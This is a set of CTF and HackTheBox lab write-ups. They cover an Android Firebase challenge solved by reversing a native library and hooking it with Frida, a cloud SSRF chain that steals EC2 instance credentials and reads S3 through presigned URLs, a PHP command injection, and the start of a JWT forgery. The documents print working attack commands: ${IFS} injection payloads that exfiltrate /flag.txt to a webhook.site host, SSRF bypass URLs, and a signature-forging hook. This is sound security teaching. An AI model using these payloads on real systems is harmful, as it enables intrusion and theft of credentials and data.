Fix

Never derive the verification algorithm from the token itself - hardcode the expected algorithm (HS256) server-side and reject anything else, including none.
Use a JWT library configuration that requires an explicit allow-list of algorithms (most modern libraries support this, e.g. jwt.verify(token, secret, { algorithms: ['HS256'] }) in jsonwebtoken).
Treat role/privilege claims as sensitive - consider keeping authorization state server-side (session store) rather than trusting client-held tokens for privilege escalation-sensitive decisions.

Tools Used

Browser DevTools / Burp Suite (cookie interception & editing)
jwt.io Debugger (payload/header inspection)
Python (base64, json) for manual token forging

FAM CTF: The Library to The Endpoint Writeup

Yogeshwar Peela — Sat, 18 Jul 2026 12:19:36 +0000

Executive Summary

FAM is a mobile CTF challenge distributed as an Android APK (fam-ctf.apk) with four staged flags, each themed around a different layer of the app's Firebase backend: The Library (native code), The Database (Firebase Realtime Database), The Vault (Firestore + App Check), and The Endpoint (a custom signed API). Every stage builds on the last - static analysis of the APK and its native library (libfam.so) kept supplying the credentials and logic needed to get further into the Firebase backend.

Tools used: unzip, strings, objdump, jadx, curl, Burp Suite, Frida, Android Studio emulator + adb.

Recon & Setup

Installed the APK on an Android Studio emulator (x86_64 AVD) and pulled it apart for static analysis:

mkdir extracted
unzip -o fam-ctf.apk -d extracted

That gave the standard APK layout, Firebase SDK dependencies (Auth, Realtime Database, Firestore, App Check), and two native libraries:

ls extracted/lib
# arm64-v8a  x86_64

ls extracted/lib/arm64-v8a
# libc++_shared.so  libfam.so

libc++_shared.so is just the standard NDK C++ runtime - ignored it. libfam.so is the custom library and the actual target.

Decompiled the Java/Kotlin layer for cross-referencing against the native code:

jadx -d jadx_out extracted/classes*.dex

Flag 1 - The Library

Hint: "Every compiled secret leaves a trace. Not all libraries are for reading. What do you do with .so files?"

Started with basic file identification and a strings pass over the custom library:

file extracted/lib/arm64-v8a/libfam.so
# ELF 64-bit LSB shared object, ARM aarch64, ... stripped

strings extracted/lib/arm64-v8a/libfam.so | grep -i -E 'flag|fam\{|http|key|secret|token'

Output:

Java_com_ctf_fam_MainActivity_getSecretFromNative
Java_com_ctf_fam_MainActivity_getDebugToken
FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}

The flag was sitting in plaintext in .rodata. No dynamic analysis needed - the developer left it as a raw string constant, right next to the two native method names that would matter for later stages.

Flag: FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}

Flag 2 - The Database

Hint: "The door is open to anyone. You don't need a name to enter, but the room still has a lock. Identity is optional here."

Finding the Firebase project

Searched the APK's resources for a Firebase config, since it wasn't in a google-services.json:

grep -r -i "firebaseio\|databaseURL\|project_id\|apiKey" extracted/res/ extracted/resources.arsc 2>/dev/null

That only turned up a generic keep-rules file, so went straight for the URL pattern instead:

strings extracted/resources.arsc | grep -i -E 'firebaseio|project_id|databaseURL'
strings extracted/resources.arsc | grep -i "\.firebaseio\.com\|\.firebasedatabase\.app"

Second command hit:

https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app

A blind root read confirmed the DB exists but is locked down:

curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/.json"
# {"error" : "404 Not Found"}

(That 404 was actually against a wrong placeholder URL used by mistake first - the real project URL above returns Permission denied, not 404, once queried correctly.)

Finding the exact path

Decompiled the app fully and grepped for Firebase Database reference calls:

jadx -d jadx_out extracted/classes*.dex
grep -r "child(\|getReference\|FirebaseDatabase" jadx_out --include=*.java | grep -v "^Binary"

Buried in a lot of SDK noise, the app's own code stood out:

FirebaseDatabase.getInstance("https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app")
    .getReference("flag")
    .addListenerForSingleValueEvent(...)

So the path is just flag:

curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json"
# {"error" : "Permission denied"}

Getting past the auth check

Grepped MainActivity.java for how the app authenticates before reading:

grep -n "signInAnonymously\|FirebaseAuth" jadx_out/sources/com/ctf/fam/MainActivity.java

Confirmed it signs in anonymously first:

private final void signInAnonymouslyAndVerifyFlag2() {
    ...
    Task<AuthResult> taskSignInAnonymously = firebaseAuth.signInAnonymously();

That meant the DB rule was almost certainly auth != null - any authenticated identity is enough, no specific user required. Needed the app's Firebase Web API key to sign in the same way, so grepped for it:

grep -rn "AIza" extracted/res/ jadx_out/sources/ 2>/dev/null | head -5
strings extracted/resources.arsc | grep "AIza"

Found it hardcoded in the source:

MainActivity.java:42:  public static final String API_KEY = "AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww";

Signed in anonymously via the Identity Toolkit REST API:

curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}'

That returned an idToken (JWT). Passed it as the auth query param on the database read:

curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json?auth=<idToken>"

Response:

"FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}"

Flag: FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}

Flag 3 - The Vault

Hint: "The vault trusts no one it hasn't met. But the app already made introductions. Something in the code proves who you are. The token is hiding in plain sight."

Finding it's Firestore, not RTDB

Grepped verifyFlag3 in the decompiled source:

grep -n -A 20 "verifyFlag3" jadx_out/sources/com/ctf/fam/MainActivity.java

This flag lives in Firestore - a different Firebase product with its own API:

private final void verifyFlag3() {
    Task<DocumentSnapshot> task = FirebaseFirestore.getInstance()
        .collection("flags").document("flag3").get();
    ...
}

Direct read attempt, reusing the anonymous idToken from stage 2:

curl "https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3" \
  -H "Authorization: Bearer <idToken>"

Result:

{"error": {"code": 403, "message": "Missing or insufficient permissions.", "status": "PERMISSION_DENIED"}}

Identifying App Check as the blocker

Same grep pass on MainActivity.java turned up an initAppCheck() method:

private final void initAppCheck() {
    FirebaseAppCheck.getInstance().installAppCheckProviderFactory(
        new DebugTokenAppCheckProviderFactory(
            "674578159678",
            "1:674578159678:android:775058d15777caf841996f",
            getDebugToken(),
            API_KEY
        )
    );
}

getDebugToken() is native - this is "the introduction" the app makes on your behalf before the vault will trust it.

Trying dynamic capture first (dead end)

First attempt was to catch the debug token live via adb logcat, since App Check debug tokens are normally printed to Logcat:

adb devices
adb logcat -c
adb logcat -d > logcat_dump.txt
Select-String -Path logcat_dump.txt -Pattern "debug secret","appcheck","FAM_CTF" -SimpleMatch

That only showed the app's own Log.d calls (ch1 ok, ch2 ok, ch3 ok, etc.) - no debug-secret line, since this build doesn't log it.

Also tried intercepting Firestore traffic via Burp with the emulator's proxy pointed at the host:

adb shell settings put global http_proxy 10.0.2.2:8080

Installed Burp's CA cert on the emulator and relaunched the app, but the Firestore SDK on Android talks over gRPC, which doesn't show up in Burp's normal HTTP history - dead end for this approach.

Static extraction of the debug token

Went back to the hint: "the token is hiding in plain sight" - same pattern as Flag 1. Tried disassembling getDebugToken directly:

objdump -d extracted/lib/arm64-v8a/libfam.so --disassemble=Java_com_ctf_fam_MainActivity_getDebugToken
# objdump: can't disassemble for architecture UNKNOWN!

Kali's objdump didn't have ARM64 support built in, so switched to the x86_64 build of the same library:

objdump -d extracted/lib/x86_64/libfam.so \
  --disassemble=Java_com_ctf_fam_MainActivity_getDebugToken -M intel

The disassembly showed a 36-byte loop (36 = length of a UUID string) doing:

for i in 0..35:
    byte1 = rodata[0x34f0 + (i mod 19)] XOR 0xAA
    byte2 = rodata[0x3510 + i]
    result[i] = byte1 XOR byte2

Dumped both byte arrays from .rodata:

objdump -s -j .rodata --start-address=0x34f0 --stop-address=0x3514 extracted/lib/x86_64/libfam.so
objdump -s -j .rodata --start-address=0x3510 --stop-address=0x3534 extracted/lib/x86_64/libfam.so

Computed the XOR with a 19-byte cyclic key (the loop index wraps every 19 bytes via a compiler-generated modulo trick) - the dashes in the result landed exactly at UUID positions (8/13/18/23), confirming the decode:

Debug token: 8f76557d-a35a-4b51-94d4-d0df98d79b55

Exchanging the debug token for a real App Check token

A raw debug token isn't itself a valid credential - it has to be exchanged for a signed App Check attestation JWT first, using the App ID from initAppCheck():

curl -X POST "https://firebaseappcheck.googleapis.com/v1/projects/fam-ctf/apps/1:674578159678:android:775058d15777caf841996f:exchangeDebugToken?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
  -H "Content-Type: application/json" \
  -d '{"debug_token":"8f76557d-a35a-4b51-94d4-d0df98d79b55"}'

(First attempt without the ?key=<API_KEY> param failed with 403 Method doesn't allow unregistered callers - the API key is required to call this endpoint.)

Response contained a signed App Check token. Got a fresh idToken too, since the earlier one had expired:

curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}'

Final Firestore read with both tokens:

curl "https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3" \
  -H "Authorization: Bearer <idToken>" \
  -H "X-Firebase-AppCheck: <exchangedAppCheckToken>"

Response:

{
  "name": "projects/fam-ctf/databases/(default)/documents/flags/flag3",
  "fields": { "value": { "stringValue": "FAM{4pp_ch3ck_byp4ss_g00d_j0b}" } }
}

Flag: FAM{4pp_ch3ck_byp4ss_g00d_j0b}

Flag 4 - The Endpoint

Hint: "The server only trusts what it can verify. Intercept. Modify. But can you keep it honest? Only admin has clearance."

What's known so far

Backend URL, recovered from MainActivity.java:

public static final String SERVER_URL = "http://172.16.13.107:9000";

At least one endpoint observed in Burp during setup for stage 3: POST /api/check.

The app exposes a native signing function:

public final native String computeSignature(String method, String path, String body);
public final native String[] getUsernames();

submitChallenge() reads a username from a UI spinner and calls computeSignature("POST", "/api/check", body) to sign the request before hitting /api/check:

private final void submitChallenge() {
    String username = spinner.getSelectedItem().toString();
    String body = "{\"username\":\"" + username + "\"}";
    String sig = computeSignature("POST", "/api/check", body);
    // ... POST to /api/check with body + X-Signature header
}

Crucially, the spinner only ever offers a fixed, non-admin list of usernames from getUsernames() - there is no UI path to send "role":"admin". The hint ("only admin has clearance") meant the goal was to send a body the app was never designed to send, signed correctly.

Reversing `computeSignature` statically

Disassembled the function:

objdump -d extracted/lib/x86_64/libfam.so \
  --disassemble=Java_com_ctf_fam_MainActivity_computeSignature -M intel

The outer function just concatenates method + SEPARATOR + path + SEPARATOR + body into one string and hands it to an inner, unexported helper. Disassembling that helper directly by address revealed a custom, hand-rolled mixing algorithm:

A 32-byte internal state seeded from constants in .rodata
Each message byte XORed against the same 19-byte debug-token key from Flag 3 before entering the mix
A rotate/multiply/XOR round per byte using an FxHash-style multiplier (0x517cc1b727220a95)
A parallel textbook FNV-1a hash computed over the raw message, compared against a hardcoded constant as an apparent backdoor check
A finalization pass folding the 4-word state down before hex-encoding it into the returned signature string

This is a legitimate, non-trivial hash construction (not a simple XOR like Flags 1 and 3) - reproducing it byte-for-byte in Python from raw disassembly alone was slow and error-prone. Given the algorithm was confirmed to be fully client-side (all key material lives in the shipped .so), the faster and more reliable path was to stop reimplementing the algorithm and instead let the app sign an arbitrary payload for us at runtime.

Runtime approach: Frida hook on `computeSignature`

Rooted the emulator and pushed frida-server:

.\adb.exe kill-server
.\adb.exe start-server
.\adb.exe root
.\adb.exe shell "/data/local/tmp/frida-server &"

Instead of reverse-engineering the signing algorithm to reimplement it externally, hooked the native method at the JNI boundary and substituted the outgoing body with an admin payload before the real computeSignature implementation ever ran. Because the hook calls straight through to the original native function, the app's own key material and mixing logic sign the forged body correctly - no need to fully reconstruct the algorithm by hand.

hook_sig.js:

Java.perform(function () {
    var MainActivity = Java.use("com.ctf.fam.MainActivity");
    MainActivity.computeSignature.implementation = function (method, path, body) {
        // Substitute the admin payload the UI never lets us send
        var adminBody = '{"username":"admin","role":"admin"}';

        console.log("[!!!] FORCING SIGNATURE FOR: " + adminBody);
        var sig = this.computeSignature(method, path, adminBody);

        console.log("[+] FORGED SIGNATURE: " + sig);
        return sig;
    };
});

Attached Frida to the running app process and loaded the hook:

frida.exe -U -p 13671 -l hook_sig.js

Then triggered the request from the app's own UI (tapping SEND REQUEST in the "The Endpoint" screen). The hook intercepted the call, swapped in the admin body, and let the native code sign it exactly as it would sign any legitimate request:

[!!!] FORCING SIGNATURE FOR: {"username":"admin","role":"admin"}
[+] FORGED SIGNATURE: ed0e8c86eaa229329a006c55c9ee25443012c6b7e65bb1231374c7f32f2a4a90

Replaying the forged request

With a validly-signed admin body in hand, replayed it directly against the production endpoint outside the app:

curl -X POST https://ctf.fampay.co/api/check \
     -H "Content-Type: application/json" \
     -H "X-Signature: ed0e8c86eaa229329a006c55c9ee25443012c6b7e65bb1231374c7f32f2a4a90" \
     -d '{"username":"admin","role":"admin"}'

Response:

{"flag": "FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}", "message": "Welcome, admin."}

Flag: FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}

Attack Chain Summary

+------------------------+
|  APK Static Analysis    |
|  (unzip, strings, jadx) |
+-----------+--------------+
            |
            v
+----------------------------------+
| Flag 1: The Library               |
| strings libfam.so                 |--> FAM{str1ngs_d0nt_l13...}
| (plaintext in .rodata)            |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 2: The Database               |
| Recover API key from source ->    |
| anonymous signUp REST call ->     |--> FAM{4n0n_4uth_1s_n0t...}
| curl .../flag.json?auth=<token>   |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 3: The Vault                  |
| 1. logcat/Burp attempts fail      |
|    (gRPC, no debug log)           |
| 2. objdump getDebugToken ->       |--> FAM{4pp_ch3ck_byp4ss...}
|    XOR decode -> debug token      |
| 3. exchangeDebugToken REST ->     |
|    App Check JWT                  |
| 4. GET Firestore doc w/ both      |
|    Auth + AppCheck headers        |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 4: The Endpoint               |
| Static analysis of computeSignature|
| (custom hash, too complex to      |
| reimplement quickly) ->           |--> FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}
| Frida hook forces native code to  |
| sign a forged admin body ->       |
| replay signed request via curl    |
+--------------------------------------+

Key Vulnerabilities

#	Challenge	Vulnerability	Impact
1	The Library	Hardcoded flag in native library `.rodata`	Trivial extraction via `strings`; no obfuscation
2	The Database	Overly permissive RTDB rule (`auth != null`)	Any anonymous client can read protected data
3	The Vault	App Check debug token embedded (XOR'd) in shipped binary	Defeats App Check's purpose; static XOR is not real obfuscation
4	The Endpoint	Client-side request-signing scheme with all key material in the APK	Any party who controls the client (or hooks it at runtime) can sign arbitrary, privilege-escalated requests - the server has no way to distinguish a legitimate client from a hooked one

Remediations

Never embed secrets, flags, or debug credentials in shipped binaries. Native code is fully extractable via strings and disassembly. App Check debug tokens should be scoped to CI/emulator builds only and never included in a distributed APK.
Firebase security rules should distinguish identity providers, not just check auth != null. Sensitive reads should require auth.token.firebase.sign_in_provider != 'anonymous' or a custom claim proving a verified identity.
Client-side signature schemes are only as strong as their key material and their execution environment. Even a cryptographically sound signing algorithm is worthless if the client that computes it can be hooked (Frida, Xposed, etc.) to sign attacker-chosen payloads. Any privilege-sensitive check - like role: admin - must be enforced and authorized server-side, never trusted purely because a client-supplied signature validates.
Rotate the exposed Firebase Web API key and App Check debug token if this project configuration is reused outside the CTF context.

FAM CTF : The Cloud writeup

Yogeshwar Peela — Sat, 18 Jul 2026 12:03:19 +0000

Summary

The target exposed a webhook endpoint (/internal/webhook) meant to act as an
internal-only proxy, blocking direct requests to private and link-local IP
ranges. That blocklist checked resolved IPs but missed a legacy EC2-internal
DNS alias (instance-data) that still resolves to the IMDS service. Since the
webhook transparently forwarded HTTP methods and headers, it was possible to
complete the full IMDSv2 token handshake (PUT for a token, then GET with
that token) through the SSRF, stealing the EC2 instance role's temporary AWS
credentials. Those credentials could list the target S3 bucket but not read
objects directly, due to a bucket policy restricting GetObject to requests
originating from inside the VPC. Generating a SigV4 presigned URL locally and
then replaying it through the same SSRF let the EC2 instance itself issue the
final GET, satisfying the VPC-source condition and returning the flag.

Flag: FAM{cl0ud_ssrf_imds_aacb179e691f}

Poking at the app

Started by just hitting the root page:

curl http://13.206.97.85/

This returned a dashboard HTML page listing a handful of API routes: /status,
/metrics/system, /metrics/config, /metrics/endpoints, and a POST-only
/internal/webhook. Walked through them one at a time.

curl http://13.206.97.85/status | jq

Just health/version info, nothing interesting.

curl http://13.206.97.85/metrics/system | jq

This leaked the box's internal hostname: ip-10-20-1-112.ap-south-1.compute.internal.
Filed that away.

curl http://13.206.97.85/metrics/config | jq

This was the important one. It dumped a config blob including:

"identity": {
  "imds": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "note": "credentials scoped to storage prefix only",
  "provider": "ec2-instance-metadata"
},
"storage": {
  "backend": "s3",
  "bucket": "fam-ctf-cloud-challenge",
  "note": "bucket access restricted to requests originating from within vpc",
  "prefix": "players/2301"
}

So the goal became clear early: get to IMDS, get creds, use them on that bucket.

curl http://13.206.97.85/metrics/endpoints | jq

Confirmed the route list, and noticed /internal/webhook accepts GET, POST,
and PUT - odd for a webhook, and that detail mattered later.

curl http://13.206.97.85/internal/webhook | jq

Calling it with no params returned its own documentation:

{"note": "Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)",
 "usage": "POST /internal/webhook?url=<target>"}

Classic SSRF proxy. Time to see what it actually blocks.

Fighting the filter

curl 'http://13.206.97.85/internal/webhook?url=http://192.168.29.189/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://localhost/' | jq

All three came back identically:

{"error": "Direct access to internal IP ranges is not allowed.",
 "hint": "Try harder. The instance has a name."}

Even the IMDS IP itself got blocked, despite the docs claiming it was allowed -
so that "usage note" was misleading, not a real permission. Tried the usual
SSRF bypass tricks next, on the theory the filter might just be doing a dumb
string match on the URL:

curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254.nip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://2852039166/latest/meta-data/iam/security-credentials/' | jq        # decimal IP
curl 'http://13.206.97.85/internal/webhook?url=http://0xa9fea9fe/latest/meta-data/iam/security-credentials/' | jq        # hex IP
curl 'http://13.206.97.85/internal/webhook?url=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://ip-10-20-1-112.ap-south-1.compute.internal/' | jq

Every single one got blocked with the exact same error. That was actually a
useful negative result - it meant the filter wasn't doing naive string matching,
it was resolving DNS and checking the resulting IP against a private/link-local
blocklist. All the tricks above still resolve to a blocked IP, so of course they
failed.

Also tried path traversal on the static file route, just to rule out an easier bug:

curl -m 10 'http://13.206.97.85/static/..%2f..%2f..%2f..%2fetc%2fpasswd'
curl -m 10 'http://13.206.97.85/static/....//....//....//....//etc/passwd'
curl -m 10 --path-as-is 'http://13.206.97.85/static/../../../../etc/passwd'

All 404s - Flask normalizes ../ in routing before the traversal even reaches
the handler, so that was a dead end.

Then tried pivoting straight to the public S3 endpoint, since *.amazonaws.com
was supposedly allowed:

curl -m 20 'http://13.206.97.85/internal/webhook?url=http://fam-ctf-cloud-challenge.s3.amazonaws.com/' | jq

This one didn't get the filter's rejection message at all - it just hung and
timed out. That told me the URL passed validation, but the box has no real route
to the public internet (no NAT/IGW), so straight-to-S3 wasn't going to work either.

The actual bypass

Kept coming back to that hint: "the instance has a name." Already tried the
compute.internal hostname and it got blocked (since it still resolves to the
private IP). But there's an older, less common EC2-internal DNS alias for the
metadata service specifically:

curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/' | jq

This got through:

{"status": 401, "url": "http://instance-data/latest/meta-data/iam/security-credentials/"}

Not blocked by the filter anymore - a real 401 coming back from IMDS itself.
Checked the plain metadata root too, same 401:

curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/' | jq

A 401 straight from IMDS on a GET usually means IMDSv2 is enforced - it wants a
session token first via a PUT to /latest/api/token. Tested whether the
webhook would even forward a PUT and a custom header:

curl -m 15 -X POST 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq

Got a 405 back (wrong method, as expected for IMDSv2's token endpoint), which
at least confirmed the webhook was passing my HTTP method through to the target.
Switched to PUT with the required header:

curl -m 15 -X PUT 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq

That worked - got a token back:

{"status": 200, "body": "AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ=="}

So the webhook wasn't just forwarding methods, it was forwarding headers too.
Used the token to list the role name:

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/' \
  -H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq

Got back ctf-cloud-player-2301 as the role name, then fetched the actual
credentials:

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-2301' \
  -H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq

This returned a full set of temporary AWS creds - AccessKeyId, SecretAccessKey,
and a session Token.

Using the stolen creds

Exported them and confirmed identity:

export AWS_ACCESS_KEY_ID="ASIAYLZKVQD4NQMHDXAX"
export AWS_SECRET_ACCESS_KEY="VvZ1mpWVdZYY0FCK50Vkgi7eC8UJYi3bvNhbs3t9"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEP3//////////wEaCmFwLXNvdXRoLTE..."
export AWS_DEFAULT_REGION="ap-south-1"

aws sts get-caller-identity

Confirmed as assumed-role/ctf-cloud-player-2301/i-04c1f26c2a1c61a25. Listed the
bucket:

aws s3 ls s3://fam-ctf-cloud-challenge/players/2301/ --recursive

Found players/2301/flag.txt. But actually reading it was blocked:

aws s3 cp s3://fam-ctf-cloud-challenge/players/2301/flag.txt -

An error occurred (403) when calling the HeadObject operation: Forbidden

Tried the lower-level API call in case it was just a HeadObject quirk:

aws s3api get-object --bucket fam-ctf-cloud-challenge --key players/2301/flag.txt flag.txt

AccessDenied ... with an explicit deny in a resource-based policy

That "explicit deny in a resource-based policy" matched the earlier hint about
the bucket only allowing requests that originate from inside the VPC. ListBucket
apparently wasn't covered by that condition (which is why listing worked), but
GetObject was.

Getting past the VPC restriction

The fix: a SigV4 presigned URL bakes the signature into the query string, so
whoever actually sends the HTTP request is what matters for the source-IP
condition - not whoever generated the signature. Generated one locally:

aws s3 presign s3://fam-ctf-cloud-challenge/players/2301/flag.txt --expires-in 300

Then replayed that entire presigned URL through the SSRF webhook, so the actual
GET would be issued by the EC2 instance itself (which is inside the VPC):

curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=https://fam-ctf-cloud-challenge.s3.ap-south-1.amazonaws.com/players/2301/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=...&X-Amz-Signature=...' | jq

That came back with status: 200 and the flag in the body:

FAM{cl0ud_ssrf_imds_aacb179e691f}

Root causes

The webhook is a proxy that fetches attacker-controlled URLs server-side - classic SSRF.
The IP-range blocklist checks resolved DNS but missed the legacy instance-data alias, which still points at the metadata service.
IMDSv2 didn't actually stop anything here, because the SSRF proxy transparently forwards HTTP method and headers, so the full token-then-fetch handshake could be completed remotely through it.
The S3 bucket policy's VPC-source restriction only checks where the request physically comes from, and the SSRF gave a way to originate a request from inside that trusted boundary.

HackTheBox : Void Whispers Writeup

Yogeshwar Peela — Fri, 17 Jul 2026 13:37:17 +0000

Summary

The "Void Whispers" mail-settings panel passes the user-supplied sendMailPath field directly into shell_exec("which $sendMailPath") with no escaping. The app only filters literal whitespace, which is trivially bypassed using bash's ${IFS} variable to separate injected commands without using a space character. This allows arbitrary command execution on the server, confirmed via timing delays and an out-of-band webhook callback, and ultimately used to read and exfiltrate /flag.txt.

1. Recon

The challenge presented a Halloween-themed "Void Whispers" mail-settings panel - a small PHP app for configuring the "from name," "from email," "sendmail path," and "mail program" used to send support notifications.

The page rendered a form with four fields and a Save button that posts to /update:

From Name:    Ghostly Support
From Email:   support@void-whispers.htb
Sendmail PATH: /usr/sbin/sendmail
Mail Program: sendmail

2. Source review

A downloadable build archive provided the full server source. Routing goes through a minimal custom router (Router.php) into IndexController.php, which handles both GET / (renders the form) and POST /update (saves settings):

public function updateSetting($router)
{
  $from = $_POST['from'];
  $mailProgram = $_POST['mailProgram'];
  $sendMailPath = $_POST['sendMailPath'];
  $email = $_POST['email'];

  if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
    return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
  }

  if (preg_match('/\s/', $sendMailPath)) {
    return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
  }

  $whichOutput = shell_exec("which $sendMailPath");
  if (empty($whichOutput)) {
    return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
  }
  ...
}

Two things stand out immediately:

sendMailPath is passed straight into shell_exec("which $sendMailPath") with no escaping (escapeshellarg/escapeshellcmd are never called).
The only validation is a regex that blocks literal whitespace characters (\s). It does not block shell metacharacters like ;, |, `, $(), or && - and critically, bash's ${IFS} variable expands to whitespace at execution time, so it's a ready-made bypass for a "no spaces" filter.

This is a textbook OS command injection: attacker-controlled input reaches a shell with no sanitization beyond a trivially bypassable space check.

3. Exploitation

Step 1 - Confirm the space-filter bypass with a time delay

${IFS} (Internal Field Separator) is treated as a space by the shell but contains no literal space character, so it sails past preg_match('/\s/', ...). Chaining a second command with ; after the legitimate sendmail binary confirms execution:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;sleep${IFS}5'

The request took ~5 seconds to complete. Repeating with sleep${IFS}10 took ~10 seconds - confirming arbitrary command execution, with response time as the oracle.

Step 2 - Out-of-band confirmation

To move past blind timing and get real command output, a webhook.site endpoint was used as an OOB (out-of-band) callback:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>'

The webhook.site inbox logged an inbound GET request from the target server's IP moments later, confirming full outbound command execution capability from the box.

Step 3 - Exfiltrate the flag

With confirmed command execution and outbound connectivity, the flag was read and exfiltrated via command substitution appended as a query parameter:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>?x=$(cat${IFS}/flag.txt)'

The webhook.site inbox received a new request with the flag contents in the x query parameter.

4. Result

The captured request on webhook.site showed:

GET /<webhook-id>?x=HTB{REDACTED}

Flag: HTB{REDACTED}

5. Root Cause & Fix

Issue	Why it matters	Fix
User input passed directly into `shell_exec()`	Any shell metacharacter in the input executes as part of the command	Never build shell commands from user input; if a shell call is unavoidable, use `escapeshellarg()` on every argument
Filter only blocks literal whitespace (`\s`)	`${IFS}`, tabs, and other whitespace-equivalent shell constructs bypass a naive space check	Use an allowlist of expected binary paths instead of blocklisting characters
`which $sendMailPath` used to "validate" a path that is later stored and reused	Validation logic itself is the injection point	Validate against a fixed, known-safe list of binaries rather than shelling out to check existence

The takeaway: blocklisting specific characters (or here, just whitespace) is fragile - shells have many equivalent ways to express the same thing (${IFS}, $IFS$9, tabs, newlines). Any code path that concatenates user input into a shell command needs proper argument escaping or, better, no shell at all.

HackTheBox : WayWitch Writeup

Yogeshwar Peela — Fri, 17 Jul 2026 13:30:05 +0000

Summary

The ticket portal generates guest session JWTs client-side, signing them with an HMAC secret (halloween-secret) that's hardcoded directly in the page's JavaScript. Since the server verifies tokens with that same secret, anyone can read it from the page source and forge their own token with username: "admin". Access control on the /tickets endpoint trusts this claim outright, so the forged token unlocks the admin-only ticket list - which contains the flag.

1. Recon

The challenge exposed a single web service (a Halloween-themed "WitchWay" ticket support portal) reachable over HTTPS with a self-signed cert:

curl https://<target-ip>:<port>/ --insecure

The landing page rendered a ticket submission form and pulled in a client-side JWT library (jose.min.js). Viewing the page source revealed inline JavaScript that generates a guest session token entirely in the browser:

const secretKey = await crypto.subtle.importKey(
    "raw",
    new TextEncoder().encode("halloween-secret"),
    { name: "HMAC", hash: "SHA-256" },
    false,
    ["sign"],
);

This is the core flaw: the HMAC secret used to sign session tokens (halloween-secret) is shipped in plaintext inside client-facing JavaScript. Since JWTs signed with HS256 are verified with the same symmetric key used to sign them, anyone who reads the page source can mint their own valid tokens.

On page load, a session_token cookie is set containing a JWT with only two claims:

{ "username": "guest_1234", "iat": 1699999999 }

2. Source review

A downloadable build archive (build-docker.sh, Dockerfile, src/) confirmed the server-side logic. The relevant route, src/routes/index.js:

router.get("/tickets", async (req, res) => {
  const sessionToken = req.cookies.session_token;
  ...
